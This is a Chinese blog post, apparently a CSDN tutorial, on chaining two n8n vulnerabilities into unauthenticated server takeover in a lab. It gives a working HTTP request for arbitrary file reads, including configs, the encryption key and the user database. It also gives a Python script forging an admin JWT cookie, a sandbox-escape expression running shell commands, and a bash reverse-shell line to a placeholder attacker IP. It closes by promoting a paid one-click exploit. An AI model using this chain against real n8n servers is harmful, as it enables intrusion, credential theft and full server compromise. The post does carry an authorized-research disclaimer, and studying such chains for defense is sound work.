n8n 这两个鸡肋漏洞,组合后为什么能打穿服务器?

发生了什么?

去年,n8n 爆了个 CVE-2025-68613——工作流表达式沙箱逃逸导致远程命令执行,CVSS 9.9。按理说应该炸锅,结果风平浪静。为什么?因为触发条件第一条就是:你得先登录管理员账号。一个需要管理员权限才能用的 RCE,在攻防实战里跟没用一样。

今年又来了个 CVE-2026-21858——n8n 的 Form Webhook 接口能未授权读取任意文件。社区反应继续冷淡:不就是读几个配置文件嘛,能有多大事?

但如果你把这两个漏洞放在一起看,化学反应就发生了。不是 1+1=2,是 1+1=击穿一切防护

CVE-2025-68613 就像一把上了膛的枪,但被锁在保险柜里——你知道它威力大,但没钥匙。

CVE-2026-21858 就是那把钥匙的蓝图——它告诉你保险柜在哪、怎么开、里面有什么。

把两件事串起来:用文件读取拿到加密密钥和数据库 → 看懂开源代码里的JWT签名方式 → 伪造管理员Cookie → 绕过登录 → 触发沙箱逃逸 → 反弹Shell。开发者精心设计的三道防线——登录鉴权、JWT签名算法、表达式沙箱隔离——被这一条链全部穿过。

从"没用的漏洞"到"服务器沦陷",全程不需要任何账号密码。

在这里插入图片描述

有多严重?——POC 验证

环境搭建

一条命令就够了:

docker compose up -d

30 秒后访问 http://your-ip:5678,看到 n8n 的登录界面就行。环境里已经预先配好了一个带文件上传功能的表单工作流,路径是 /form/vulnerable-form

CVE-2026-21858:读取任意文件

这个漏洞的精髓就一句话:服务端不检查请求的 Content-Type

n8n 的 Form Webhook 本来只该处理 multipart/form-data 格式的文件上传。但 formWebhook() 这个函数根本没看请求头里写的 Content-Type 是什么——你发 JSON 过来,它也照单全收。

更致命的是,JSON 里面你可以直接指定 filepath

POST /form/vulnerable-form HTTP/1.1
Host: your-ip:5678
Content-Type: application/json

{"data":{},"files":{"file1":{"filepath":"/etc/passwd","originalFilename":"test.bin","mimetype":"application/octet-stream","size":12345}}}

在这里插入图片描述

服务端原样返回了 /etc/passwd 的内容。这在 CVSS 里叫"未授权任意文件读取"——通俗讲就是:你能看服务器上的任何文件,不需要登录

有了这个能力后,按图索骥往下走:

第一步,读取 /proc/self/environ 拿到 n8n 的 home 目录(/root):

在这里插入图片描述

第二步,读 /root/.n8n/config 拿到加密密钥:

在这里插入图片描述

encryptionKey: Ae8CbpflcCj5E2N27ATQN7xWjOrRkqjb

第三步,下载 /root/.n8n/database.sqlite 整个数据库,用 DB Browser for SQLite 打开,从 user 表提取管理员信息:

在这里插入图片描述

id            = 81a7b981-eb47-4b90-8184-42132a161443
email         = admin@vulhub.org
password_hash = $2a$10$FiPWM4VFOaPSHBGtuvWimehADh27I/vuCRA46ahrlXahppTVEFYRi

n8n 的安全措施做得其实不差——密码用的是 bcrypt 哈希,暴力破解基本没指望。但这里有个致命的矛盾:n8n 是开源的。JWT 的签名方式、密钥的派生逻辑、验证流程,在源码里写得明明白白。你能看到它的"密码",自然就能复制它的"签名"。

import hashlib
import jwt
from base64 import b64encode

encryption_key = "Ae8CbpflcCj5E2N27ATQN7xWjOrRkqjb"
uid = "81a7b981-eb47-4b90-8184-42132a161443"
email = "admin@vulhub.org"
password_hash = "$2a$10$FiPWM4VFOaPSHBGtuvWimehADh27I/vuCRA46ahrlXahppTVEFYRi"

# JWT 密钥 = SHA256(encryptionKey 的偶数位字符)
secret = hashlib.sha256(encryption_key[::2].encode()).hexdigest()

# hash = Base64(SHA256(email:password_hash)) 的前10位
h = b64encode(hashlib.sha256(f"{email}:{password_hash}".encode()).digest()).decode()[:10]

# 生成管理员 JWT
admin_token = jwt.encode({"id": uid, "hash": h}, secret, "HS256")
print(f"管理员 Cookie: n8n-auth={admin_token}")

在这里插入图片描述

把生成的 Cookie 写入浏览器,刷新——管理员登录,没输密码

在这里插入图片描述

到这里,CVE-2026-21858 的使命完成了。它把一个"需要管理员权限的 RCE"变成了"我们有管理员权限了"。

CVE-2025-68613:沙箱逃逸执行命令

以管理员身份登录后,n8n 允许你创建工作流。工作流的节点参数可以用 {{ }} 嵌入 JavaScript 表达式,服务端运行时求值。

n8n 做了一个沙箱来限制这些表达式,不让它们碰 processrequire 这些危险的全局对象。但沙箱的隔离不彻底——通过 this 关键字,表达式可以逃逸出受限的上下文:

{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}

在这里插入图片描述

id 命令执行成功——这就是 CVE-2025-68613,一个原本需要管理员权限的 RCE。

真正的门槛在哪?

如果你看完上面的内容,觉得自己懂了——那恭喜你,你只看到了最表面的东西

执行 id 只是开胃菜。网上关于这个漏洞的教程,90% 都停在"能执行 id"这一步。真正从 POC 到拿下服务器的过程,中间横着一排暗坑。

我试的第一件事就是把 id 换成反弹 Shell 命令:

bash -i >& /dev/tcp/攻击端IP/监听端口 0>&1

信心满满地塞进表达式里——结果攻击端的 nc 监听一片空白,毛都没收到。

排查了很久才发现罪魁祸首:>& 这些 Shell 重定向符号在 n8n 的表达式解析器里被截断了。表达式引擎先解析 {{ }} 里的内容,再丢给 execSync 执行,中间经过一层字符串处理,你的反弹命令被撕得七零八落,到了 Shell 层已经面目全非。

这个问题折磨了我整整一个下午——各种转义、编码、换语法都试过,最后绕过去的方案说出来你都觉得简单。但就是这一层窗户纸,网上没人点破。

如果你想走完这条路

我把从环境搭建到最终反弹Shell的完整过程——包括每一次试错、每一次失败的排查思路、最终绕过方案的原理拆解,以及一个一键利用脚本——都整理在了付费专栏里。

本篇文章完整版详见 《【GetShell】n8n 未授权远程代码执行漏洞(CVE-2026-21858 + CVE-2025-68613)》 👉点击直达

本篇文章视频演示:【n8n 未授权 RCE利用链】漏洞合体,毁天灭地!零权限拿下服务器👉点击直达

专栏的名字叫 高危漏洞深度利用—零基础GetShell的全链路实战指南,👉点击直达。核心就是不止于 POC 复现,每篇文章必须走到拿下服务器。如果你不想自己从头踩一遍编码绕过和JWT伪造的坑,可以翻翻。

复现过程中有问题直接评论区留言,我看到了会回。


本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

光跃Eason

坚持下去,谢谢你的鼓励!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值